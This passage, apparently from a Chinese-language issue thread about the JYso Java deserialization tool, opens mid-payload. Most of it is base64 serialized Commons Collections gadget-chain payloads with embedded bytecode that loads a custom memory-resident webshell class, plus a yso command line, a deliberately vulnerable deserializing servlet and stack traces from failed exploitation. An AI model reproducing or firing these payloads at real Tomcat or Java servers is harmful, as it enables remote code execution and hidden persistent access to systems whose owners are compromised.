NvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACkoW0xqYXZhL25ldC9VUkw7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEADWdldFN1cGVyY2xhc3MBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAD5vcmcvYXBhY2hlL3Rvb2xzL3BsdWdpbi9wcmVmaXgvTm9QbHVnaW5Gb3VuZEZvclByZWZpeEV4Y2VwdGlvbgEAQExvcmcvYXBhY2hlL3Rvb2xzL3BsdWdpbi9wcmVmaXgvTm9QbHVnaW5Gb3VuZEZvclByZWZpeEV4Y2VwdGlvbjsHAJkJAJsAZQEIzEg0c0lBQUFBQUFBQUFKMVdhMndVVlJUK2J2Y3gwKzBBWmRzQ2kvTHlBUzIwSFlWU29DMlAwaFpiYVJGYjVDbkNkSHJiblRJN3M4ek8xaGFOS09MN1VkL3ZCK0tqTVQ0Q21pd0VJMmxpQW9uR0dQK1orTVBFeEIvR1JQMnRCangzWnJjdnRtcHN1bmZ1bkhQUE9kODU1N3QzN3BlWHpwMEhVSVAzSXBpRFcyWFVGbUk1T2lQb3dnNGh1VTNHemdoS3NTdUMzZGdqaHIweTlrbG9rM0c3a08rWGNVY0VaVGdnNDZCNDF5TG9oaTZqUndLWDBDdWhUMmpqRW93SStuRklER1lFQ1ZnUnpJTXRJeW1laDhYZ3lFakpjQ1drSTdnR0F6THVsREVvWEE3Sk9DTGpMZ2wzUzNpSElkTFUwWHlndGFXeHVhV1RJZHJlcncxb3FxbFpmV3FYNnhoV1h6MUR1TUd3REhjRFE2QzhZaWREc01udTRReXoyZzJMYjBzbnVybXpRK3MydVRDMmRjM2NxVG1HZU04S2cyN2NTREVzYTlmdGhIcllxREhWZnF2SFVGMmVTSnFheTFXdXgyMjFuN3Z1VUF2TktCbzd6TENxL0VvY0ZiN0lzTlhOUXk1dmRCeHQ2SmEwbTB5N3BPZGFnaXdEZXFLSFFXN1F6UnhlaDFQb29pVFp1N3NjdytVT1E5bVltKzNqWWpLTzZMWmxjZDAxYkd0eUdXN3A3aWV4S0VPQ3UzR2JJc3lmb0hWNHIwbHF0Y1BUMGFxaXVPc21tK0lhT1RNcEdadCtCdjNhR0VLNnFSMDV3akI3Z25tVHFhVlNaQlhxTmJoSnJtTjVYRzhSS3BHZTNkM1BJTkY0UUhNb2s1SjkrVkRPNkhJMS9WQ0hsdlRxNzdIbUhtSU5kWnR5N0xMVGpzNjNHS0l4TThlS1hpM2NLS2hDdFlJVnFKUndWTUc5dUUvQk1kelBvTGh4cW0rUDE5dVVndU40Z0R3cWVCQVBLWGdZanhCMjErOTBhRUF6MDF6Qm8zaU13RFdtaGl5OVZkUmlySzRLSHNjVGhLS1B1NTM4Y0pxblhBVlBZbGpDVXdxZXhqTU1oYVJwcFZpaVQ3T21GSW1oZUNvbEpvbjhBaWg0RnM5UmlUMTUyalZNdFVzWHJYQWtQSy9nQmJ5bzRDVzhMT0VWQmEvaU5aSHo2d3dGdHpjcWVBTnZLamdob004a0ZOc25VaWFVZG51cjFsSk9lWmlqNEMyY0pKdkptZnBPV3NlWm9PQnREQk01dk5SVFNkdEtjVC9kWEl5UzhVeGFCbldlOUwxYy81ODJEY1BjYVZnenFVSTd2RDRTUS9TMDQzREx6YjJYbGxlMFQxMUZSSklKWGJieUpaTlc1RGhiVEF1YU9aSGE0VDNaYUZYVDc5dThsSjZSNG02anJ2TlV5dkFQaS9LOTRvUUprR2VHcGVWWDhyc2lIK1VsV3I1TlMvQ3BxWXdkWURLM2VsSzdERGRPMno4ZndyMStMenF5KzN0VG5qWDdyaWhBdnJ6R1RvRjUwK25vR0RHc0Fmc1FnVjJYSjc4OFd6cC95a2FxSlpGMGg3d3plVytPOE42YXpyVGxHcUlZM2o3THZaUk5xa3hXVEk2Q2ZKRHJkRHovUytPMk83Ym9VdjJrU0ZtaFQvWTJhK3dvSmo2V2o1L1dFeFNpTU9WNUZhTHJTanJGbTdscEpQd2Q4UStRSm01c2tZUEZCNGt2a25mT205WTBUYVlJc3ljd050ZU9HdHZwVTdXa3BzZTVTcnN0UVZ0VDdkVjBibkkzcFhKVGJlYTlXdHAwYzE4MU9saVRBbDF0Ky8reHE4Y1N1ZzNNb1FzQ01VNmN0VFFMMEp5T1hocFZlbFBweWVnWlduNEc3RFJOQ25BRGpXRmZpQnRwVkxMemxYaVhub1YwMTFpZE5hN01HaGV3VTFNc0l4TXNDMURyQlpheEpoYzJjSUxXRlJHcTM2TUZueUp3RnNFTVFsdVhSOE1aU08wcjZFVmU0Y2tLT3lwSkVZMk1peXM5NFNpSzZIOWJvRFpZRnF3NmY1S05WSlVGVjlhRllxR0xDSSt3WjJNaFlhV01Xd2tCbVYzQUtlRXZneG5SbVJuTWVobHZWZGFGWTJHeHVKaGxNTHRPaWtteE1NMmlmdHlTNE9jbzNST0lsblZsbFpVa21FT0NBaEpFUjFGV0o4ZmtDNndpSm1jdzl4VzI1RFBNMjNNV01mRTZQNE9yenVEcTZJSU1GbWF3cUs3UUQ3TjRxc2RZT090eWllL3ltcnBJTEJJcnpPRGFFWHhMZ0MvbUFGL25BVDdyNGJxZUlDNFZ5Q3NGVnVGbVBBV1N4cVRwVWhBbWZyeFBFSmlZQTdpZkEvYi9ZdzVlbkdYNTRwVG5oQjZreVhrVUhnK3lrVXU3UnhEY2VwcjZIMksvc0Y5UlFVUVVmRGxIbkFBazR0Y3M0a3N4U2pDYkxwTlJMS2FiNDNLNmVxcEUzOVVrV1k4WWJzSjhkT0FxM0lZRk9JaUY0RmdFa3loK2xDNmN4M0F0aG5FZGZXNlg0a01zd3loRitKbzgvRXpjdTRRcVZvSnFOaDhxVzRDVjdBYXNZZzJvWVMyb1paMVl3L1poSGJOUng0NmpuajJOQnZZUk5yQnoyTWkrUUNQN0Jwdlo5MmhpUDZLWi9ZUVkrd1UzRS9vMjlodmFQWTZmSk13LzAyd3R4U21rS0JMV29ZNzRmNHcrK1BWb0lKNFAwNlZqUFRhUVpoVDd2YjBnVTRUVldZdnZjeGFFNkgxdlhaaHduY0JHc3BVSWtlWmJvSU85aEUwa0MyRVQrd0NOMkl3Z0ZQWURtdEJNS0VyWWQyakJGcXJ1WXZZVjFhbUJkdDE2OWpGYTBVWjF2cGxXVkVPNlRBNUNFclpLYUpmUUlhR0lkdWRmS0tYNW43ajRCeTVlSnVmMHQxbkNObnI4RFNWS09wVmFEQUFBCACdACEAJwALAAAAAgAIACgAKQAAAAgAKgApAAAABAABACsALAABAC0AAAAvAAEAAQAAAAUqtwABsQAAAAIALgAAAAYAAQAAAAoALwAAAAwAAQAAAAUAMACaAAAACQAyADMAAgAtAAABSgAGAAUAAAB4AU0SArgAA0wrEgQBtgAFKwG2AAZOLbYABxIIBL0ACVkDEgpTtgAFLQS9AAtZAypTtgAGwAAMwAAMTacAPE4SDrgAA0wrtgAPOgQZBLYABxIQBL0ACVkDEgpTtgAFGQQEvQALWQMqU7YABsAADMAADE2nAAU6BCywAAIAAgA6AD0ADQA+AHEAdAANAAMALgAAADIADAAAAD0AAgA/AAgAQAAVAEEAOgBJAD0AQgA+AEQARABFAEoARgBxAEgAdABHAHYASgAvAAAASAAHABUAJQA0ADUAAwAIADUANgA3AAEASgAnADQANQAEAEQAMAA2ADcAAQA+ADgAOAA5AAMAAAB4ADoAKQAAAAIAdgA7ADwAAgA9AAAAKgAD/wA9AAMHAD4ABwAMAAEHAD//ADYABAcAPgAHAAwHAD8AAQcAP/oAAQBAAAAABAABAA0ACQBBACwAAQAtAAAAHgABAAAAAAAGEp6zAJyxAAAAAQAuAAAABgABAAUATgAIAEIALAABAC0AAAF9AAYACAAAAK67ABFZuwASWbIAE7gAFLcAFbcAFku7ABdZtwAYTBEQALwITSostgAZWT4CnwANKywDHbYAGqf/7iu2ABs6BLsAHFkDvQAduAAetgAftwAgOgUZBbYAB7YAIbYAIRIiBr0ACVkDEgxTWQSyACNTWQWyACNTtgAkOgYZBgS2ACUZBhkFBr0AC1kDGQRTWQQDuAAmU1kFGQS+uAAmU7YABsAACToHGQe2AA9XpwAES7EAAQAAAKkArAANAAMALgAAADoADgAAABEAFQASAB0AEwAjABUALgAWADgAGAA+ABkAUQAaAHgAGwB+ABwAowAdAKkAOACsADcArQA5AC8AAABSAAgAFQCUAEMARAAAAB0AjABFAEYAAQAjAIYAOgA8AAIAKgB/AEcASAADAD4AawBJADwABABRAFgASgBLAAUAeAAxAEwATQAGAKMABgBOADcABwA9AAAAHQAE/gAjBwBPBwBQBwAM/AAUAf8AcwAAAAEHAD8AAAB1cQB+ABsAAAEAyv66vgAAADQAEQEAJm9yZy9hcGFjaGUvd2lja2V0L2xhbmcvdGV4dC9TdHJCdWlsZGVyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAA9TdHJCdWlsZGVyLmphdmEBABBzZXJpYWxWZXJzaW9uVUlEAQABSgVx5mnuPG1HGAEADUNvbnN0YW50VmFsdWUBAAY8aW5pdD4BAAMoKVYMAAwADQoABAAOAQAEQ29kZQAhAAIABAAAAAEAGgAHAAgAAQALAAAAAgAJAAEAAQAMAA0AAQAQAAAAEQABAAEAAAAFKrcAD7EAAAAAAAEABQAAAAIABnB0AAFhcHcBAHh2cgA3Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVHJBWEZpbHRlcgAAAAAAAAAAAAAAeHB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AARudTJyeA==
还是不行。 大佬你可以写一个反序列化环境,你那边复现一下。
你环境里面有没有无参构造方法
我ClassLoader是直接invoke.newInstance()了
他是直接用了原生的
你截个完整的报错给我看下,我还不确定问题在哪里
org.apache.commons.collections.FunctorException: InstantiateFactory: Constructor threw an exception
at org.apache.commons.collections.functors.InstantiateFactory.create(InstantiateFactory.java:135)
at org.apache.commons.collections.functors.FactoryTransformer.transform(FactoryTransformer.java:72)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:120)
at java.util.HashMap.hash(HashMap.java:339)
at java.util.HashMap.readObject(HashMap.java:1410)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at com.demo.servlet.Base64DeSerializerServlet.doPost(Base64DeSerializerServlet.java:26)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:890)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
at org.apache.commons.collections.functors.InstantiateFactory.create(InstantiateFactory.java:128)
... 40 more
Caused by: java.lang.ClassCastException: org.apache.tools.plugin.prefix.NoPluginFoundForPrefixException cannot be cast to com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.
漏洞环境: `public class Base64DeSerializerServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { String cmd = req.getParameter("cmd"); System.out.println(cmd); }
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
try {
// 反序列化
String base64Str = req.getParameter("base64Str");
System.out.println(base64Str);
byte[] bytes = Base64.getDecoder().decode(base64Str);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}`
截最下面几行
org.apache.commons.collections.FunctorException: InstantiateFactory: Constructor threw an exception at org.apache.commons.collections.functors.InstantiateFactory.create(InstantiateFactory.java:135) at org.apache.commons.collections.functors.FactoryTransformer.transform(FactoryTransformer.java:72) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:120) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.readObject(HashMap.java:1410) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at com.demo.servlet.Base64DeSerializerServlet.doPost(Base64DeSerializerServlet.java:26) at javax.servlet.http.HttpServlet.service(HttpServlet.java:681) at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:890) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:423) at org.apache.commons.collections.functors.InstantiateFactory.create(InstantiateFactory.java:128) ... 40 more Caused by: java.lang.ClassCastException: org.apache.tools.plugin.prefix.NoPluginFoundForPrefixException cannot be cast to com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.(TrAXFilter.java:58) ... 45 more
已经到底l了
org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' threw an exception at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:120) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at java.util.HashSet.readObject(HashSet.java:342) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at com.demo.servlet.Base64DeSerializerServlet.doPost(Base64DeSerializerServlet.java:26) at javax.servlet.http.HttpServlet.service(HttpServlet.java:681) at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:890) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125) ... 40 more Caused by: java.lang.NullPointerException at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:372) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:456) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) ... 45 more
这个是使用woopker抛的异常
我只试了弹计算器的,没看到问题 -yso 1 -g CommonsCollections10 -p LF-C:\Users\xxx\Desktop\Evil.class -f 2.ser
1、使用woodpecker 加载自定义内存马类
2、使用JYSO
进行base64
3、反序列化测试
失败
woodpecker测试,连接成功
博主可自行对比两个工具生成的payload,并进行反序列化调试 JYso:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEbnUxcnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5GYWN0b3J5VHJhbnNmb3JtZXKhYsEpXbfzuAIAAUwACGlGYWN0b3J5dAAoTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9GYWN0b3J5O3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZUZhY3RvcnmUsZyeZyEE6wIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAE2lDbGFzc1RvSW5zdGFudGlhdGV0ABFMamF2YS9sYW5nL0NsYXNzO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AEEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAADpiyv66vgAAADEAnwoACwBTCABUCgAJAFUIAFYKAAkAVwoAWABZCgALAFoIAFsHAFwHAF0HAF4HADwHAF8IAGAKAAkAYQgAYgcAYwcAZAkAJwBlCgAnAGYKABIAZwoAEQBoBwBpCgAXAFMKABEAagoAFwBrCgAXAGwHAG0HAG4KAG8AcAoAbwBxCgAcAHIKAAkAcwgATAkAdAB1CgAJAHYKAFgAdwoAdAB4BwCZAQADYjY0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAJY2xhc3NOYW1lAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL3FpNGwvam5kaS90ZW1wbGF0ZS9DbGFzc0xvYWRlclRlbXBsYXRlOwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAV2YWx1ZQEAAltCAQANU3RhY2tNYXBUYWJsZQcAXQcAXwEACkV4Y2VwdGlvbnMBAA5pbml0Q2xhc3NCeXRlcwEACDxjbGluaXQ+AQAPZ3ppcElucHV0U3RyZWFtAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEAFWJ5dGVBcnJheU91dHB1dFN0cmVhbQEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAARyZWFkAQABSQEABWJ5dGVzAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UHAGMHAGkBAApTb3VyY2VGaWxlAQAYQ2xhc3NMb2FkZXJUZW1wbGF0ZS5qYXZhDAArACwBABBqYXZhLnV0aWwuQmFzZTY0DAB6AHsBAApnZXREZWNvZGVyDAB8AH0HAH4MAE4AfwwAgACBAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAggCDAQAMZGVjb2RlQnVmZmVyAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0BABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtDAAoACkMADIAMwwAKwCEDAArAIUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwARwCGDACHAIgMAIkAigEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAMamF2YS9uZXQvVVJMBwCLDACMAI0MAI4AjwwAKwCQDACRAIEHAJIMAJMANwwAlAB9DACVAJYMAJcAmAEAKmNvbS9xaTRsL2puZGkvdGVtcGxhdGUvQ2xhc3NMb2FkZXJUZW1wbGF0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAC25l